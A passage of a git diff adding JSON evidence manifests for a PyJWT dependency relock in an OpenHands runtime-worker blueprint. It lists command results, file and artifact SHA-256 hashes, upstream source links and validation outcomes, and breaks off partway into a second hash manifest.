"blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-imports.txt", + "returned_output_sha256": "65ae38c5d5b78a9d49db1a9722d07680fe32934efd7cf8d47d4ea72f4e4f3ef8" + }, + { + "id": "pyjwt-source-download", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-download.txt", + "returned_output_sha256": "1ab4c361d45b723a1709a58777e9f32c9de80429936c983c827094eb65738385" + }, + { + "id": "pyjwt-tag-object", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-tag-object.txt", + "returned_output_sha256": "bfeb9cf9d69bfb4090e650c6d32994b4f8fe33dc2aea7a21a0997a71d1edbe42" + }, + { + "id": "pyjwt-release", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-release.txt", + "returned_output_sha256": "d4953c46b722691311d15842c8c9ac3f16e1ce4f0d3f3f0f240d71dac6ed2749" + }, + { + "id": "osv-version", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-version.txt", + "returned_output_sha256": "d99dc4aaa9ee2e777c40037e37ee43d8c9e70402b86da61753a46c36d6b7437f" + }, + { + "id": "tox-pypi-tool-source", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-pypi-tool-source.txt", + "returned_output_sha256": "71cbf8472151c7bd841b891003e29829749d350c919907ac1773d4c9cdf28726" + }, + { + "id": "pyjwt-source-extract", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-extract.txt", + "returned_output_sha256": "acbaefe984ad11d1594074b01c826673b78b1b92c3fd4538d16332fdad71adda" + }, + { + "id": "pyjwt-sdist-extract", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-sdist-extract.txt", + "returned_output_sha256": "cc5f1fd77eac2cbe1bf60cab5b417c813413ba53261eff93d242388454f4c3af" + }, + { + "id": "pyjwt-native-test-config", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-native-test-config.txt", + "returned_output_sha256": "5522835655990357c7d10c209441f95b82271bbcbfd86d8eb56c4360837b9ebc" + }, + { + "id": "native-tox-driver-venv", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-driver-venv.txt", + "returned_output_sha256": "9145a80b90bfd6a0e9f540022f3e8967985cf8be8624b168412f8c32d517d7d0" + }, + { + "id": "upstream-ci-tox-prerequisites", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-ci-tox-prerequisites.txt", + "returned_output_sha256": "e2298547f6fdc7c5495eb67aa06eb5495780345b2374ab2dc477dc34e68629de" + }, + { + "id": "native-tox-version", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-version.txt", + "returned_output_sha256": "b07c39e550def4290546d5b61054772b5f1f980ee09e1d9af040fe53d6ea2451" + }, + { + "id": "native-tox-run-help", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-run-help.txt", + "returned_output_sha256": "d8df693a45f7f2a6da323c67f956472a41e052bb525566ac584411ff4893d68d" + }, + { + "id": "unchanged-upstream-tox-regressions", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-unchanged-upstream-tox-regressions.txt", + "returned_output_sha256": "d75d11056968ffb160194f8f9d1d318ceffb58e6e220215a71d81a4a2e24d40e" + }, + { + "id": "upstream-selected-file-hashes", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-selected-file-hashes.txt", + "returned_output_sha256": "a79d7e59d80e4b247a76031e5704ebae8128fff34fdffb25e0a8a73f299857df" + }, + { + "id": "candidate-upstream-test-tools", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-upstream-test-tools.txt", + "returned_output_sha256": "b3e831ea6e1d1cc32ef492ee6bc5405e00c7345d1e65684672a41eaf30a42b12" + }, + { + "id": "bd1-control-upstream-test-tools", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-bd1-control-upstream-test-tools.txt", + "returned_output_sha256": "569b4604483c76a31e210dcc97cd2762bc6a63b54df00762d0e68faab3902511" + }, + { + "id": "candidate-native-pytest-help", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-native-pytest-help.txt", + "returned_output_sha256": "23b64656768de639ea6b8bc26b7118a9c7f853ec40f20d23fcd87eddaf995839" + }, + { + "id": "installed-bd1-unchanged-regression-control", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-bd1-unchanged-regression-control.txt", + "returned_output_sha256": "b1f890f09595dfb43f32ace636f378bc845f0c85e091f7050e03f22e86f5ff94" + }, + { + "id": "installed-candidate-unchanged-regressions", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-candidate-unchanged-regressions.txt", + "returned_output_sha256": "927a12279ff97ecd9277dd408f5733c3238f80622cbdcd5ce4525f9fc5ec0e42" + }, + { + "id": "actual-sdk-fixtures", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-actual-sdk-fixtures.txt", + "returned_output_sha256": "891d87ad2c8423f2b74ce8d3f1a63dcfe25294f13dd21fa7bbc5de66893cf6a3" + }, + { + "id": "maintained-jwt-callers", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-maintained-jwt-callers.txt", + "returned_output_sha256": "ccfd1d7c537d400b7f430678043dda2b49b57a5bfb2adf09aedca37e2f1ae488" + }, + { + "id": "oauthlib-alias-callers", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-oauthlib-alias-callers.txt", + "returned_output_sha256": "32d23e1d2b4b6327b44e5fb4fbbfccc94c33133c296b911b5399844684de67d6" + }, + { + "id": "candidate-osv-current-config", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.txt", + "returned_output_sha256": "d98cab16adc610ef89904863dcf0242202ebfb70c1d2a12a23b2459b3999f038" + }, + { + "id": "candidate-osv-empty-config", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.txt", + "returned_output_sha256": "040d82f1a91b191c0623252b9dc95a575a24658ca1843e5fd5548075a3d54ec3" + }, + { + "id": "pristine-and-published-source-identities", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pristine-and-published-source-identities.txt", + "returned_output_sha256": "108f4bfb77b3100e53cf6bdb03d080556267f98f58432d1f13e7427e03e40848" + }, + { + "id": "installed-runtime-version-inventory", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-runtime-version-inventory.txt", + "returned_output_sha256": "8f312d726e1d7bfb76c38c350da2cc9ae529477124ddc816c381e97b06b37709" + }, + { + "id": "native-pip-check-after-test-tools", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check-after-test-tools.txt", + "returned_output_sha256": "5c255a24a423064be19e755f7dfafe0d18423467f13ad7d2a04caa04b047e3ed" + }, + { + "id": "exact-caller-and-pyjwt-static-delta", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-caller-and-pyjwt-static-delta.txt", + "returned_output_sha256": "fc84c818132d1fab9531e0114177c3a7154960782b8eee59c80faae5364195bc" + }, + { + "id": "tox-official-release", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-official-release.txt", + "returned_output_sha256": "5e1e5defdbfd7d2cfc61863f0349fefa2d7d27d64c20362105549d4521281fc5" + }, + { + "id": "source-policy-and-compatibility", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-policy-and-compatibility.txt", + "returned_output_sha256": "a7c5c8fe6c4ae9a92d3f1aefef7702bb52de6685bf90feddfe77a1387742a2df" + }, + { + "id": "owned-diff-check", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-diff-check.txt", + "returned_output_sha256": "d60bd830527dd82244afeae14cda196ce4cd07d9826e1a762aa8fd7fbc48486a" + }, + { + "id": "owned-file-publication-scan", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-file-publication-scan.txt", + "returned_output_sha256": "4a3e416fe09a7424d47dc7f9b13905b2910bcbf752037618b411722ef14691c8" + }, + { + "id": "repository-validation-before-integration", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-repository-validation-before-integration.txt", + "returned_output_sha256": "72a447135220f2e4e578cb81c327c7773a1c6bd6f85cfdc0f56473aa9d66784b" + } + ], + "bound_files": [ + { + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "sha256": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "bytes": 248359 + }, + { + "path": "blueprints/runtime-workers/openhands/pins.json", + "sha256": "a8af5f14f9cffadb25d39569e1a8e19a41f480d16482a665158b62641484abef", + "bytes": 4460 + }, + { + "path": "blueprints/runtime-workers/openhands/build-requirements.lock", + "sha256": "32cff7dc47659683a19936944a47123160731a2bdb711aee78a7d63fbab205e2", + "bytes": 286 + }, + { + "path": "tests/test_openhands_150.py", + "sha256": "52e1beefe24bfe03c298ae4d10a17d56388626503bc39c7f7b09a5ffbd840270", + "bytes": 17216 + }, + { + "path": ".github/osv-scanner.toml", + "sha256": "ddff1691844ce7c76d2d1860046074f46aac320f62f35278d508b948184849f8", + "bytes": 7630 + }, + { + "path": ".github/workflows/security-scan.yml", + "sha256": "88a47e2cf7c16078331a4052c08bf88bc10ed9c70c167d863cd8e581c1a0ef14", + "bytes": 9268 + } + ], + "source_archive_and_test_bindings": { + "archive_and_installed_checks": [ + { + "archive": "sdk-source.tar.gz", + "archive_sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c", + "extraction": "source", + "original_regular_files_compared": 1800, + "mismatches": [] + }, + { + "archive": "sdk-source.tar.gz", + "archive_sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c", + "extraction": "source-repro", + "original_regular_files_compared": 1800, + "mismatches": [] + }, + { + "archive": "pyjwt-source.tar.gz", + "archive_sha256": "9a504f00c4800fd85bb64aaf768d21d66c648d6f79ddfcbbb5209e44455c9261", + "extraction": "pyjwt-source", + "original_regular_files_compared": 92, + "mismatches": [] + }, + { + "artifact": "pyjwt-2.15.0-py3-none-any.whl", + "sha256": "7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8", + "installed_python_sources_compared": 12, + "mismatches": [] + } + ], + "tag_sdist_selected_test_inputs": [ + { + "path": "tests/test_api_jwt.py", + "sha256": "8331ec496b0df6f770409d3b0bf2fa470b01222122270284fdca3b905ec77457", + "tag_sdist_byte_identical": true + }, + { + "path": "tests/test_jwks_client.py", + "sha256": "f1f5e0076061c3931ecce432f7fa74986bc2febd820c8e1fb6a3035a3703d708", + "tag_sdist_byte_identical": true + }, + { + "path": "tests/utils.py", + "sha256": "b5b937a60999a63d0515491c7f23f5b39bf534d036c1050deb1094eddf712f14", + "tag_sdist_byte_identical": true + }, + { + "path": "tox.ini", + "sha256": "1674dc3f7b5747e1d4aaf2641b93b1fe8d461da1b1209dcb55c7d1d74995df4d", + "tag_sdist_byte_identical": true + }, + { + "path": "pyproject.toml", + "sha256": "a89f0097abe7a485da60f4ef152c9e3ef4909ae5d5c0aef86b5178d9ee12b769", + "tag_sdist_byte_identical": true + } + ] + }, + "sources": [ + "https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml#L7", + "https://github.com/jpadilla/pyjwt/tree/1d41a6478e1562e68ff667fcd703356acf085f68", + "https://github.com/jpadilla/pyjwt/blob/1d41a6478e1562e68ff667fcd703356acf085f68/tox.ini#L34", + "https://github.com/jpadilla/pyjwt/blob/1d41a6478e1562e68ff667fcd703356acf085f68/.github/workflows/main.yml#L44", + "https://github.com/jpadilla/pyjwt/blob/1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_api_jwt.py#L182", + "https://github.com/jpadilla/pyjwt/blob/1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_jwks_client.py#L329", + "https://github.com/advisories/GHSA-42vr-xj54-vc7v", + "https://pypi.org/project/PyJWT/2.15.0/", + "https://github.com/tox-dev/tox/releases/tag/4.64.5", + "https://docs.pytest.org/en/stable/how-to/usage.html#calling-pytest-from-python-code", + "https://docs.pytest.org/en/stable/explanation/pythonpath.html", + "https://docs.astral.sh/uv/reference/cli/#uv-pip-compile", + "https://github.com/google/osv-scanner/releases/tag/v2.6.0" + ], + "command_ledger": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-commands.json", + "artifacts": [ + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-actual-sdk-fixtures.txt", + "sha256": "891d87ad2c8423f2b74ce8d3f1a63dcfe25294f13dd21fa7bbc5de66893cf6a3", + "bytes": 3212 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.json", + "sha256": "fa640deeb033c5478b03f14ce6e439333656279405e5db055ab8281a430ad200", + "bytes": 14545 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.txt", + "sha256": "ce799e56e98ac45f51b1c2536282dc921dfcec14fbcc04af6035e3f26615a640", + "bytes": 18803 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.json", + "sha256": "a3471eeaef017e913a4035e402a111943673a181fa2c245e9ea11bad57b6076b", + "bytes": 34242 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.txt", + "sha256": "77f9b9a07f51f9000c737006c19ade784dbb35c697e8853f3e6be66116424ffa", + "bytes": 35086 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-bd1-control-upstream-test-tools.txt", + "sha256": "569b4604483c76a31e210dcc97cd2762bc6a63b54df00762d0e68faab3902511", + "bytes": 630 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-build-hash-install.txt", + "sha256": "1a6a32e0927dc554a81fd1920756f2a67fe378f44fba225b69f187a81fb8ecca", + "bytes": 592 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-native-pytest-help.txt", + "sha256": "23b64656768de639ea6b8bc26b7118a9c7f853ec40f20d23fcd87eddaf995839", + "bytes": 19013 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.json", + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "bytes": 124 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.txt", + "sha256": "d98cab16adc610ef89904863dcf0242202ebfb70c1d2a12a23b2459b3999f038", + "bytes": 4380 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.json", + "sha256": "afad529ade6763e00b9d46db35ff6f40cc52848858b97432057f98d48a15d25a", + "bytes": 19970 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.txt", + "sha256": "040d82f1a91b191c0623252b9dc95a575a24658ca1843e5fd5548075a3d54ec3", + "bytes": 20808 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-upstream-test-tools.txt", + "sha256": "b3e831ea6e1d1cc32ef492ee6bc5405e00c7345d1e65684672a41eaf30a42b12", + "bytes": 639 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-clock-cutoff-check.txt", + "sha256": "91392e5648d2ac348f910ed4bf3de46ddf5b19f213ee61ab623dad3b7341f394", + "bytes": 218 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-constraints.txt", + "sha256": "9be46e2d3628a47ece04c39048423874badadd13e379096f6303bfefebc8f041", + "bytes": 37931 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-dependency-comparison.json", + "sha256": "ec02602c7159345da3b0bb113e3b06cb13f66b9accb4bba733d60b2a82d3c631", + "bytes": 868 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-caller-and-pyjwt-static-delta.txt", + "sha256": "fc84c818132d1fab9531e0114177c3a7154960782b8eee59c80faae5364195bc", + "bytes": 13061 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-lock-delta.txt", + "sha256": "7c8aefeb5429ebf15c4e54efafe083c59bde3f9b6a244b4f9328b5544e500573", + "bytes": 2666 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-fresh-venv.txt", + "sha256": "e29d9fd8ddf54224ea0c7c8347b3951f528f2616f4e7b399b74bb537433ac275", + "bytes": 551 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-frozen-inputs.json", + "sha256": "c475106cf7ce5a5de0a5db62a8b6938fd7c0d3dcad8bcfa5ffc9e1184417aa45", + "bytes": 2268 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-bd1-unchanged-regression-control.txt", + "sha256": "b1f890f09595dfb43f32ace636f378bc845f0c85e091f7050e03f22e86f5ff94", + "bytes": 8517 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-candidate-unchanged-regressions.txt", + "sha256": "927a12279ff97ecd9277dd408f5733c3238f80622cbdcd5ce4525f9fc5ec0e42", + "bytes": 2398 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-runtime-version-inventory.txt", + "sha256": "8f312d726e1d7bfb76c38c350da2cc9ae529477124ddc816c381e97b06b37709", + "bytes": 1190 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-maintained-jwt-callers.txt", + "sha256": "ccfd1d7c537d400b7f430678043dda2b49b57a5bfb2adf09aedca37e2f1ae488", + "bytes": 3328 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-bd1-control-compile.txt", + "sha256": "28e67cda0191d8ec008e44cc14585ebd13f578d40d67a1829446081e3e7d41dd", + "bytes": 249121 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-imports.txt", + "sha256": "65ae38c5d5b78a9d49db1a9722d07680fe32934efd7cf8d47d4ea72f4e4f3ef8", + "bytes": 1982 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check-after-test-tools.txt", + "sha256": "5c255a24a423064be19e755f7dfafe0d18423467f13ad7d2a04caa04b047e3ed", + "bytes": 359 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check.txt", + "sha256": "066424201c71fcc7cd0f003da5a8758a4a1693936531aab0fd6f728793e5a3b9", + "bytes": 359 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pristine-reproduction.txt", + "sha256": "ed94035165ae012bf277c5dc11ff04274242c070e875c8213a63cdde77165865", + "bytes": 249121 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pyjwt-candidate-compile.txt", + "sha256": "fbca2580f1026ae7403e289361f558d98a6b3ae6bd74e508708fbeaf82dfe9ee", + "bytes": 249114 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-driver-venv.txt", + "sha256": "9145a80b90bfd6a0e9f540022f3e8967985cf8be8624b168412f8c32d517d7d0", + "bytes": 613 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-run-help.txt", + "sha256": "d8df693a45f7f2a6da323c67f956472a41e052bb525566ac584411ff4893d68d", + "bytes": 5387 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-version.txt", + "sha256": "b07c39e550def4290546d5b61054772b5f1f980ee09e1d9af040fe53d6ea2451", + "bytes": 517 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-oauthlib-alias-callers.txt", + "sha256": "32d23e1d2b4b6327b44e5fb4fbbfccc94c33133c296b911b5399844684de67d6", + "bytes": 37489 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-scanner-copy.txt", + "sha256": "e3eb88d9a28aa78000124b11ab613eb64ebd9f8a03fe7ce59ee5dc89bcab6b32", + "bytes": 240 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-version.txt", + "sha256": "d99dc4aaa9ee2e777c40037e37ee43d8c9e70402b86da61753a46c36d6b7437f", + "bytes": 341 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-diff-check.txt", + "sha256": "d60bd830527dd82244afeae14cda196ce4cd07d9826e1a762aa8fd7fbc48486a", + "bytes": 186 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-file-publication-scan.txt", + "sha256": "4a3e416fe09a7424d47dc7f9b13905b2910bcbf752037618b411722ef14691c8", + "bytes": 8127 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pristine-and-published-source-identities.txt", + "sha256": "108f4bfb77b3100e53cf6bdb03d080556267f98f58432d1f13e7427e03e40848", + "bytes": 4016 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0-py3-none-any.whl.txt", + "sha256": "8a5ea31cca7a21c9c96bf1068aa39a005c32d61acfea532b5455cf249c054e93", + "bytes": 424 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0.tar.gz.txt", + "sha256": "540b3b8ed46e115f9927070df9c4492a0e8b3824853c29645c0697b50b1c99a8", + "bytes": 404 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-native-test-config.txt", + "sha256": "5522835655990357c7d10c209441f95b82271bbcbfd86d8eb56c4360837b9ebc", + "bytes": 1485 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-pypi.txt", + "sha256": "ceb456b980d874d3af84c01749e77ce8a47c3edfec26da57a57ca6d8948ef880", + "bytes": 5717 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-release.txt", + "sha256": "d4953c46b722691311d15842c8c9ac3f16e1ce4f0d3f3f0f240d71dac6ed2749", + "bytes": 521 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-sdist-extract.txt", + "sha256": "cc5f1fd77eac2cbe1bf60cab5b417c813413ba53261eff93d242388454f4c3af", + "bytes": 257 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-download.txt", + "sha256": "1ab4c361d45b723a1709a58777e9f32c9de80429936c983c827094eb65738385", + "bytes": 368 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-extract.txt", + "sha256": "acbaefe984ad11d1594074b01c826673b78b1b92c3fd4538d16332fdad71adda", + "bytes": 258 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-tag-object.txt", + "sha256": "bfeb9cf9d69bfb4090e650c6d32994b4f8fe33dc2aea7a21a0997a71d1edbe42", + "bytes": 920 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-repository-validation-before-integration.txt", + "sha256": "72a447135220f2e4e578cb81c327c7773a1c6bd6f85cfdc0f56473aa9d66784b", + "bytes": 363 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-requirements.in.txt", + "sha256": "058d660527965a2713aaad24bc56f15e79829a37029dfa2f64f8e8fcb1e16fba", + "bytes": 326 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-runtime-hash-install.txt", + "sha256": "5910f0b0cb4876ca4358ea444e6be0fd3c8e76dc8da7f0fbfb7f8acd10e15194", + "bytes": 4763 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-download.txt", + "sha256": "d0eef999df6805ca32d4cdecf335457d789cd2177db193d3a9dcb56b563fa697", + "bytes": 380 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-extract.txt", + "sha256": "77321232e78b83b2b1d4ad3500df609400f60da4b35e51a47337eea92c383e59", + "bytes": 250 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-repro-extract.txt", + "sha256": "67632310e39072065210809179b3c7b1318bd44be2e11360c4dc629e8971c47d", + "bytes": 256 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-identities.json", + "sha256": "52569c39d4d241f9cd1cdde873d2f802a824213716d4e013ecb1371ba46980ea", + "bytes": 1895 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-policy-and-compatibility.txt", + "sha256": "a7c5c8fe6c4ae9a92d3f1aefef7702bb52de6685bf90feddfe77a1387742a2df", + "bytes": 2705 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-official-release.txt", + "sha256": "5e1e5defdbfd7d2cfc61863f0349fefa2d7d27d64c20362105549d4521281fc5", + "bytes": 918 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-pypi-tool-source.txt", + "sha256": "71cbf8472151c7bd841b891003e29829749d350c919907ac1773d4c9cdf28726", + "bytes": 472562 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-unchanged-upstream-tox-regressions.txt", + "sha256": "d75d11056968ffb160194f8f9d1d318ceffb58e6e220215a71d81a4a2e24d40e", + "bytes": 2540 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-ci-tox-prerequisites.txt", + "sha256": "e2298547f6fdc7c5495eb67aa06eb5495780345b2374ab2dc477dc34e68629de", + "bytes": 3347 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-selected-file-hashes.txt", + "sha256": "a79d7e59d80e4b247a76031e5704ebae8128fff34fdffb25e0a8a73f299857df", + "bytes": 1908 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-uv-version.txt", + "sha256": "a6bd49a719d9038dd76f1ba7f2ba806145fd613e5e518f71080ff0fac74b5bbc", + "bytes": 217 + } + ], + "structural_validation": { + "full_repository_validation_exit_code": 1, + "expected_coordinator_owned_registration_errors": [ + "blueprints/runtime-workers/openhands/pins.json: SHA-256 mismatch", + "blueprints/runtime-workers/openhands/requirements.lock: SHA-256 mismatch" + ], + "scope": "Full native publication validation returned only the two stale shared hash registrations. Supported --scan-file independently passes owned-publication hygiene; coordinator registers the shared hashes and reruns the integrated head.", + "owned_file_publication_scan_exit_code": 0, + "owned_file_publication_scanned_count": 64, + "owned_diff_check_exit_code": 0, + "commit_gate": "Normal installed pre-commit gitleaks hook; no bypass or ignore changes." + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/upgrade-150-artifact-hashes.json b/blueprints/runtime-workers/openhands/evidence/upgrade-150-artifact-hashes.json new file mode 100644 index 000000000..3c49fa848 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/upgrade-150-artifact-hashes.json @@ -0,0 +1,145 @@ +{ + "schema_version": 1, + "scope": "OpenHands 1.50.0 owned source/docs/returned artifacts; byte identity only, not runtime acceptance", + "source_commit": "4c544d1defcb2ec7baf9f637ed91b67b5074395c", + "root": "blueprints/runtime-workers/openhands", + "test_paths_are_repository_relative": true, + "files": { + "config/profiles.json": { + "bytes": 1463, + "sha256": "7d5327765d5680df3038e3745cce8f57312198aa88e1aeca22e52a6b6ea754b7" + }, + "dispatch.py": { + "bytes": 22982, + "sha256": "5d42ef710dd9c40d43c7b52bb019b86e96635a6deac603bc1624daf8650a277a" + }, + "e2e/netprobe.py": { + "bytes": 26506, + "sha256": "93cf45d663870ea326c098799ee03965739bdcd2ee7b90566e4bd34dbee39c8f" + }, + "evidence/pins-1.49.6.json": { + "bytes": 4460, + "sha256": 